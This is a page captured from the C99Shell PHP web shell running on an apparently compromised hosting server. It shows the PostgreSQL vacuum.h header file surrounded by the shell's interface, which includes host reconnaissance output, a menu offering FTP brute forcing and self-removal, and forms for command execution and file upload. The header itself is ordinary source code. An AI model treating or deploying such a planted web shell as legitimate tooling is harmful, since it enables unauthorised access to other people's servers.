!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/pgsql-9.6/include/server/commands/   drwxr-xr-x
Free 6182.12 GB of 6263.32 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     vacuum.h (7.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*-------------------------------------------------------------------------
 *
 * vacuum.h
 *      header file for postgres vacuum cleaner and statistics analyzer
 *
 *
 * Portions Copyright (c) 1996-2016, PostgreSQL Global Development Group
 * Portions Copyright (c) 1994, Regents of the University of California
 *
 * src/include/commands/vacuum.h
 *
 *-------------------------------------------------------------------------
 */
#ifndef VACUUM_H
#define VACUUM_H

#include "access/htup.h"
#include "catalog/pg_statistic.h"
#include "catalog/pg_type.h"
#include "nodes/parsenodes.h"
#include "storage/buf.h"
#include "storage/lock.h"
#include "utils/relcache.h"


/*----------
 * ANALYZE builds one of these structs for each attribute (column) that is
 * to be analyzed.  The struct and subsidiary data are in anl_context,
 * so they live until the end of the ANALYZE operation.
 *
 * The type-specific typanalyze function is passed a pointer to this struct
 * and must return TRUE to continue analysis, FALSE to skip analysis of this
 * column.  In the TRUE case it must set the compute_stats and minrows fields,
 * and can optionally set extra_data to pass additional info to compute_stats.
 * minrows is its request for the minimum number of sample rows to be gathered
 * (but note this request might not be honored, eg if there are fewer rows
 * than that in the table).
 *
 * The compute_stats routine will be called after sample rows have been
 * gathered.  Aside from this struct, it is passed:
 *        fetchfunc: a function for accessing the column values from the
 *                   sample rows
 *        samplerows: the number of sample tuples
 *        totalrows: estimated total number of rows in relation
 * The fetchfunc may be called with rownum running from 0 to samplerows-1.
 * It returns a Datum and an isNull flag.
 *
 * compute_stats should set stats_valid TRUE if it is able to compute
 * any useful statistics.  If it does, the remainder of the struct holds
 * the information to be stored in a pg_statistic row for the column.  Be
 * careful to allocate any pointed-to data in anl_context, which will NOT
 * be CurrentMemoryContext when compute_stats is called.
 *
 * Note: for the moment, all comparisons done for statistical purposes
 * should use the database's default collation (DEFAULT_COLLATION_OID).
 * This might change in some future release.
 *----------
 */
typedef struct VacAttrStats *VacAttrStatsP;

typedef Datum (*AnalyzeAttrFetchFunc) (VacAttrStatsP stats, int rownum,
                                                   bool *isNull);

typedef void (*AnalyzeAttrComputeStatsFunc) (VacAttrStatsP stats,
                                              AnalyzeAttrFetchFunc fetchfunc,
                                                         int samplerows,
                                                         double totalrows);

typedef struct VacAttrStats
{
    /*
     * These fields are set up by the main ANALYZE code before invoking the
     * type-specific typanalyze function.
     *
     * Note: do not assume that the data being analyzed has the same datatype
     * shown in attr, ie do not trust attr->atttypid, attlen, etc.  This is
     * because some index opclasses store a different type than the underlying
     * column/expression.  Instead use attrtypid, attrtypmod, and attrtype for
     * information about the datatype being fed to the typanalyze function.
     */
    Form_pg_attribute attr;        /* copy of pg_attribute row for column */
    Oid            attrtypid;        /* type of data being analyzed */
    int32        attrtypmod;        /* typmod of data being analyzed */
    Form_pg_type attrtype;        /* copy of pg_type row for attrtypid */
    MemoryContext anl_context;    /* where to save long-lived data */

    /*
     * These fields must be filled in by the typanalyze routine, unless it
     * returns FALSE.
     */
    AnalyzeAttrComputeStatsFunc compute_stats;    /* function pointer */
    int            minrows;        /* Minimum # of rows wanted for stats */
    void       *extra_data;        /* for extra type-specific data */

    /*
     * These fields are to be filled in by the compute_stats routine. (They
     * are initialized to zero when the struct is created.)
     */
    bool        stats_valid;
    float4        stanullfrac;    /* fraction of entries that are NULL */
    int32        stawidth;        /* average width of column values */
    float4        stadistinct;    /* # distinct values */
    int16        stakind[STATISTIC_NUM_SLOTS];
    Oid            staop[STATISTIC_NUM_SLOTS];
    int            numnumbers[STATISTIC_NUM_SLOTS];
    float4       *stanumbers[STATISTIC_NUM_SLOTS];
    int            numvalues[STATISTIC_NUM_SLOTS];
    Datum       *stavalues[STATISTIC_NUM_SLOTS];

    /*
     * These fields describe the stavalues[n] element types. They will be
     * initialized to match attrtypid, but a custom typanalyze function might
     * want to store an array of something other than the analyzed column's
     * elements. It should then overwrite these fields.
     */
    Oid            statypid[STATISTIC_NUM_SLOTS];
    int16        statyplen[STATISTIC_NUM_SLOTS];
    bool        statypbyval[STATISTIC_NUM_SLOTS];
    char        statypalign[STATISTIC_NUM_SLOTS];

    /*
     * These fields are private to the main ANALYZE code and should not be
     * looked at by type-specific functions.
     */
    int            tupattnum;        /* attribute number within tuples */
    HeapTuple  *rows;            /* access info for std fetch function */
    TupleDesc    tupDesc;
    Datum       *exprvals;        /* access info for index fetch function */
    bool       *exprnulls;
    int            rowstride;
} VacAttrStats;

/*
 * Parameters customizing behavior of VACUUM and ANALYZE.
 */
typedef struct VacuumParams
{
    int            freeze_min_age; /* min freeze age, -1 to use default */
    int            freeze_table_age;        /* age at which to scan whole table */
    int            multixact_freeze_min_age;        /* min multixact freeze age,
                                                 * -1 to use default */
    int            multixact_freeze_table_age;        /* multixact age at which to
                                                 * scan whole table */
    bool        is_wraparound;    /* force a for-wraparound vacuum */
    int            log_min_duration;        /* minimum execution threshold in ms
                                         * at which  verbose logs are
                                         * activated, -1 to use default */
} VacuumParams;

/* GUC parameters */
extern PGDLLIMPORT int default_statistics_target;        /* PGDLLIMPORT for
                                                         * PostGIS */
extern int    vacuum_freeze_min_age;
extern int    vacuum_freeze_table_age;
extern int    vacuum_multixact_freeze_min_age;
extern int    vacuum_multixact_freeze_table_age;


/* in commands/vacuum.c */
extern void ExecVacuum(VacuumStmt *vacstmt, bool isTopLevel);
extern void vacuum(int options, RangeVar *relation, Oid relid,
       VacuumParams *params, List *va_cols,
       BufferAccessStrategy bstrategy, bool isTopLevel);
extern void vac_open_indexes(Relation relation, LOCKMODE lockmode,
                 int *nindexes, Relation **Irel);
extern void vac_close_indexes(int nindexes, Relation *Irel, LOCKMODE lockmode);
extern double vac_estimate_reltuples(Relation relation, bool is_analyze,
                       BlockNumber total_pages,
                       BlockNumber scanned_pages,
                       double scanned_tuples);
extern void vac_update_relstats(Relation relation,
                    BlockNumber num_pages,
                    double num_tuples,
                    BlockNumber num_all_visible_pages,
                    bool hasindex,
                    TransactionId frozenxid,
                    MultiXactId minmulti,
                    bool in_outer_xact);
extern void vacuum_set_xid_limits(Relation rel,
                      int freeze_min_age, int freeze_table_age,
                      int multixact_freeze_min_age,
                      int multixact_freeze_table_age,
                      TransactionId *oldestXmin,
                      TransactionId *freezeLimit,
                      TransactionId *xidFullScanLimit,
                      MultiXactId *multiXactCutoff,
                      MultiXactId *mxactFullScanLimit);
extern void vac_update_datfrozenxid(void);
extern void vacuum_delay_point(void);

/* in commands/vacuumlazy.c */
extern void lazy_vacuum_rel(Relation onerel, int options,
                VacuumParams *params, BufferAccessStrategy bstrategy);

/* in commands/analyze.c */
extern void analyze_rel(Oid relid, RangeVar *relation, int options,
            VacuumParams *params, List *va_cols, bool in_outer_xact,
            BufferAccessStrategy bstrategy);
extern bool std_typanalyze(VacAttrStats *stats);

/* in utils/misc/sampling.c --- duplicate of declarations in utils/sampling.h */
extern double anl_random_fract(void);
extern double anl_init_selection_state(int n);
extern double anl_get_next_S(double t, int n, double *stateptr);

#endif   /* VACUUM_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0114 ]--